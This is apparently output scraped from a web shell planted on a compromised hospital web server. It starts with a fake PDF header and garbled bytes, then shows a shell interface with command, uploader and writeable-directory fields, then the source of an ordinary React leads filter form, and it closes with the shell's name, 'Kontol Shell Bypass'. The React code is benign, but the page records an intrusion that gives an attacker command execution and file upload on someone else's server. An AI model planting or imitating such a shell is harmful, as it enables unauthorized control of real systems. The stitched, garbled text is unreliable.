%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/react/src/pages/superbot/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/react/src/pages/superbot/LeadsFilterForm.jsx
/* eslint-disable react-hooks/exhaustive-deps */
import { useEffect, useState } from "react";
import { AntdSelect, AntdDatepicker } from "../../components";
import {Row, Col} from "antd";

const initialLeadsFilterFd={ steps:[], states:[], programs:[], utm_groups:[], superbot_dispositions:[] };

export default function LeadsFilterForm({masters, data=null, showSuperbotDispositions=false, onChange=()=>{}, forComingLeads=false}) {
    const [filterFd, setFilterFd] = useState(data || initialLeadsFilterFd);

    useEffect(()=>{
        onChange({...filterFd});
    }, [filterFd]);

    return(
        <Row gutter={[8,18]}>
            {!forComingLeads &&
                <Col span="6">
                    <div className="legend-lbl">
                        <label>Step Completed</label>
                        <AntdSelect
                            allowClear
                            placeholder="All"
                            mode="multiple"
                            options={[0, 1, 2, 3]}
                            value={filterFd.steps}
                            onChange={v => setFilterFd({...filterFd, steps:v})}
                        />
                    </div>
                </Col>
            }
            <Col span={forComingLeads?24:6}>
                <div className="legend-lbl">
                    <label>States</label>
                    <AntdSelect
                        allowClear
                        sort
                        placeholder="All"
                        mode="multiple"
                        options={masters.states}
                        value={filterFd.states}
                        onChange={v => setFilterFd({...filterFd, states:v})}
                    />
                </div>
            </Col>
            <Col span={forComingLeads?24:12}>
                <div className="legend-lbl">
                    <label>Programs</label>
                    <AntdSelect
                        allowClear
                        sort
                        placeholder="All"
                        mode="multiple"
                        options={masters.programs}
                        value={filterFd.programs}
                        onChange={v => setFilterFd({...filterFd, programs:v})}
                    />
                </div>
            </Col>
            <Col span={forComingLeads?24:6}>
                <div className="legend-lbl">
                    <label>UTM Groups</label>
                    <AntdSelect
                        allowClear
                        sort
                        placeholder="All"
                        mode="multiple"
                        options={masters.utm_groups.map(v=>v.name)}
                        value={filterFd.utm_groups}
                        onChange={v => setFilterFd({...filterFd, utm_groups:v})}
                    />
                </div>
            </Col>
            {!forComingLeads &&
                <Col span="6">
                    <div className="legend-lbl">
                        <label>Followup Count</label>
                        <AntdSelect
                            allowClear
                            placeholder="All"
                            options={['1', '2', '3', '1+', '2+', '3+']}
                            value={filterFd.followup_count}
                            onChange={v => setFilterFd({...filterFd, followup_count:v})}
                        />
                    </div>
                </Col>
            }       
            {!forComingLeads &&
                <>
                    <Col span="6">
                        <div className="legend-lbl">
                            <label>From Date</label>
                            <AntdDatepicker
                                value={filterFd.from_date}
                                onChange={v => setFilterFd({...filterFd, from_date:v})}
                            />
                        </div>
                    </Col>
                    <Col span="6">
                        <div className="legend-lbl">
                            <label>To Date</label>
                            <AntdDatepicker
                                value={filterFd.to_date}
                                onChange={v => setFilterFd({...filterFd, to_date:v})}
                            />
                        </div>
                    </Col>
                </>
            }

            {showSuperbotDispositions &&
                <Col span="6">
                    <div className="legend-lbl">
                        <label>Superbot Dispositions</label>
                        <AntdSelect
                            allowClear
                            sort
                            placeholder="All"
                            mode="multiple"
                            options={masters.superbot_dispositions.map(v=>v.name)}
                            value={filterFd.superbot_dispositions}
                            onChange={v => setFilterFd({...filterFd, superbot_dispositions:v})}
                        />
                    </div>
                </Col>
            }
        </Row>
    )
}

Kontol Shell Bypass